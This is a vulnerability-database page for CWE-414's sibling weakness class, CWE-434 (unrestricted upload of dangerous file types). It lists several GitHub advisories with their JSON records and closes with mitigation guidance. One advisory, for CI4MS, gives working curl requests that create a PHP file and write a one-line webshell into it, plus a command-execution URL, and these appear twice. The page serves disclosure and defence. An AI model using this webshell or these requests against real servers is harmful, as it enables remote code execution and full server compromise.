CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
6006 vulnerabilities reference this CWE, most recent first.
GHSA-GP3F-HX92-WFG4
Vulnerability from github – Published: 2023-08-17 21:30 – Updated: 2024-04-04 07:02Unrestricted Upload of File with Dangerous Type vulnerability in AcyMailing component for Joomla. It allows remote code execution.
{
"affected": [],
"aliases": [
"CVE-2023-39970"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-17T21:15:09Z",
"severity": "CRITICAL"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in AcyMailing component for Joomla. It allows remote code execution.",
"id": "GHSA-gp3f-hx92-wfg4",
"modified": "2024-04-04T07:02:22Z",
"published": "2023-08-17T21:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39970"
},
{
"type": "WEB",
"url": "https://extensions.joomla.org/extension/acymailing-starter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GP56-F67F-M4PX
Vulnerability from github – Published: 2026-02-02 21:52 – Updated: 2026-02-04 17:45Summary
A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.
Vulnerability Details
The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.
Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.
Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.
An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.
Impact
Successful exploitation allows:
Full access to the server's file system and databases.
Execution of arbitrary OS commands.
Permanent modification or deletion of application data.
Steps to Reproduce
Log in to an account with permissions to use the file editor.
Create a new PHP file in a public directory using the following request:
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
Inject a PHP payload into the file using the save endpoint:
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami
Suggested Mitigation
Path Validation: Restrict file operations to non-executable directories.
Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.
Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.
Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25510"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T21:52:58Z",
"nvd_published_at": "2026-02-03T22:16:31Z",
"severity": "CRITICAL"
},
"details": "**Summary**\n\nA critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.\n\n**Vulnerability Details**\n\nThe vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.\n\nUnrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.\n\nArbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.\n\nAn attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.\n\n**Impact**\n\nSuccessful exploitation allows:\n\nFull access to the server\u0027s file system and databases.\n\nExecution of arbitrary OS commands.\n\nPermanent modification or deletion of application data.\n\nSteps to Reproduce\n\nLog in to an account with permissions to use the file editor.\n\nCreate a new PHP file in a public directory using the following request:\n\n```\ncurl -X POST \u0027[SERVER_URL]/backend/fileeditor/createFile\u0027 -d \u0027path=/public\u0027 -d \u0027name=exploit.php\u0027\n```\n\nInject a PHP payload into the file using the save endpoint:\n\n```\ncurl -X POST \u0027[SERVER_URL]/backend/fileeditor/save\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{\"path\":\"/public/exploit.php\",\"content\":\"\u003c?php echo shell_exec($_GET[\\\"cmd\\\"]); ?\u003e\"}\u0027\n```\n\nAccess the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami\n\nSuggested Mitigation\n\nPath Validation: Restrict file operations to non-executable directories.\n\nExtension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.\n\nContent Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.\n\nExecution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).",
"id": "GHSA-gp56-f67f-m4px",
"modified": "2026-02-04T17:45:59Z",
"published": "2026-02-02T21:52:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4px"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25510"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor"
}
GHSA-GP5G-8G53-P3X2
Vulnerability from github – Published: 2026-02-03 09:30 – Updated: 2026-02-03 09:30The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.15.35. This is due to the plugin's default file upload allowlist including SVG files combined with weak substring-based extension validation. This makes it possible for unauthenticated attackers to upload malicious SVG files containing JavaScript code that will execute when viewed by administrators or site visitors via file upload fields in forms granted they can submit forms.
{
"affected": [],
"aliases": [
"CVE-2026-1065"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T07:16:11Z",
"severity": "HIGH"
},
"details": "The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.15.35. This is due to the plugin\u0027s default file upload allowlist including SVG files combined with weak substring-based extension validation. This makes it possible for unauthenticated attackers to upload malicious SVG files containing JavaScript code that will execute when viewed by administrators or site visitors via file upload fields in forms granted they can submit forms.",
"id": "GHSA-gp5g-8g53-p3x2",
"modified": "2026-02-03T09:30:27Z",
"published": "2026-02-03T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1065"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.34/frontend/models/form_maker.php#L1744"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.34/frontend/models/form_maker.php#L1855"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/form-maker/tags/1.15.34/js/add_field.js#L2364"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3447011%40form-maker%2Ftrunk\u0026old=3440395%40form-maker%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8230d5f8-01d9-465a-8a43-e9852248bb3d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GP5V-MF3G-QGVP
Vulnerability from github – Published: 2025-11-20 15:30 – Updated: 2026-06-06 09:31Unrestricted Upload of File with Dangerous Type vulnerability in Narkom Communication and Software Technologies Trade Ltd. Co. Pyxis Signage allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Pyxis Signage: through 31012025.
{
"affected": [],
"aliases": [
"CVE-2025-0645"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-20T15:17:21Z",
"severity": "HIGH"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Narkom Communication and Software Technologies Trade Ltd. Co. Pyxis Signage allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Pyxis Signage: through 31012025.",
"id": "GHSA-gp5v-mf3g-qgvp",
"modified": "2026-06-06T09:31:14Z",
"published": "2025-11-20T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0645"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0404"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0404"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GP72-C58G-57Q3
Vulnerability from github – Published: 2024-02-22 18:30 – Updated: 2024-10-30 15:30SKINsoft S-Museum 7.02.3 allows Unrestricted File Upload via the Add Media function. Unlike in CVE-2024-25801, the attack payload is the file content.
{
"affected": [],
"aliases": [
"CVE-2024-25802"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-22T18:15:48Z",
"severity": "CRITICAL"
},
"details": "SKINsoft S-Museum 7.02.3 allows Unrestricted File Upload via the Add Media function. Unlike in CVE-2024-25801, the attack payload is the file content.",
"id": "GHSA-gp72-c58g-57q3",
"modified": "2024-10-30T15:30:44Z",
"published": "2024-02-22T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25802"
},
{
"type": "WEB",
"url": "https://shrouded-trowel-50c.notion.site/S-Museum-Version-7-02-3-Unrestricted-File-Upload-b73d4590b024449787464ddcc175b8f7?pvs=4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPHJ-9MH6-PQ4R
Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-17 18:31Blackcat CMS 1.4 contains a remote code execution vulnerability that allows authenticated administrators to upload malicious PHP files through the jquery plugin manager. Attackers can upload a zip file with a PHP shell script and execute arbitrary system commands by accessing the uploaded plugin's PHP file with a 'code' parameter.
{
"affected": [],
"aliases": [
"CVE-2023-53892"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T21:15:52Z",
"severity": "HIGH"
},
"details": "Blackcat CMS 1.4 contains a remote code execution vulnerability that allows authenticated administrators to upload malicious PHP files through the jquery plugin manager. Attackers can upload a zip file with a PHP shell script and execute arbitrary system commands by accessing the uploaded plugin\u0027s PHP file with a \u0027code\u0027 parameter.",
"id": "GHSA-gphj-9mh6-pq4r",
"modified": "2025-12-17T18:31:33Z",
"published": "2025-12-15T21:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53892"
},
{
"type": "WEB",
"url": "https://blackcat-cms.org"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51605"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/blackcat-cms-remote-code-execution-via-jquery-plugin-manager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GPJ8-F6GC-M2QQ
Vulnerability from github – Published: 2023-04-04 09:30 – Updated: 2023-04-09 06:30A vulnerability, which was classified as critical, was found in SourceCodester Online Computer and Laptop Store 1.0. This affects an unknown part of the file php-ocls\admin\system_info\index.php. The manipulation of the argument img leads to unrestricted upload. It is possible to initiate the attack remotely. The identifier VDB-224841 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-1826"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-04T09:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability, which was classified as critical, was found in SourceCodester Online Computer and Laptop Store 1.0. This affects an unknown part of the file php-ocls\\admin\\system_info\\index.php. The manipulation of the argument img leads to unrestricted upload. It is possible to initiate the attack remotely. The identifier VDB-224841 was assigned to this vulnerability.",
"id": "GHSA-gpj8-f6gc-m2qq",
"modified": "2023-04-09T06:30:19Z",
"published": "2023-04-04T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1826"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.224841"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.224841"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/171790/Online-Computer-And-Laptop-Store-1.0-Shell-Upload.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPPQ-FRH8-8JM4
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-04-04 01:41filemgr.php in Artica Integria IMS 5.0.86 allows index.php?sec=wiki&sec2=operation/wiki/wiki&action=upload arbitrary file upload.
{
"affected": [],
"aliases": [
"CVE-2019-15091"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-16T13:15:00Z",
"severity": "CRITICAL"
},
"details": "filemgr.php in Artica Integria IMS 5.0.86 allows index.php?sec=wiki\u0026sec2=operation/wiki/wiki\u0026action=upload arbitrary file upload.",
"id": "GHSA-gppq-frh8-8jm4",
"modified": "2024-04-04T01:41:32Z",
"published": "2022-05-24T16:53:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15091"
},
{
"type": "WEB",
"url": "https://pastebin.com/k7FuvNvx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPW6-7FMV-FC4M
Vulnerability from github – Published: 2025-11-21 09:30 – Updated: 2025-11-21 09:30The URL Image Importer plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.0.6. This is due to the plugin relying on a user-controlled Content-Type HTTP header to validate file uploads in the 'uimptr_import_image_from_url()' function which writes the file to the server before performing proper validation. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible via the uploaded PHP file.
{
"affected": [],
"aliases": [
"CVE-2025-12138"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-21T08:15:52Z",
"severity": "HIGH"
},
"details": "The URL Image Importer plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.0.6. This is due to the plugin relying on a user-controlled Content-Type HTTP header to validate file uploads in the \u0027uimptr_import_image_from_url()\u0027 function which writes the file to the server before performing proper validation. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible via the uploaded PHP file.",
"id": "GHSA-gpw6-7fmv-fc4m",
"modified": "2025-11-21T09:30:27Z",
"published": "2025-11-21T09:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12138"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1319"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1353"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1358"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L198"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3395852%40url-image-importer\u0026new=3395852%40url-image-importer\u0026sfp_email=\u0026sfph_mail=#file9"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1da18430-1bd0-4f63-9e22-5d26de2be410?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPXC-HJQG-F39P
Vulnerability from github – Published: 2022-07-13 00:00 – Updated: 2022-07-13 00:00Windows Server Service Tampering Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-30216"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T23:15:00Z",
"severity": "HIGH"
},
"details": "Windows Server Service Tampering Vulnerability.",
"id": "GHSA-gpxc-hjqg-f39p",
"modified": "2022-07-13T00:00:39Z",
"published": "2022-07-13T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30216"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30216"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-30216"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.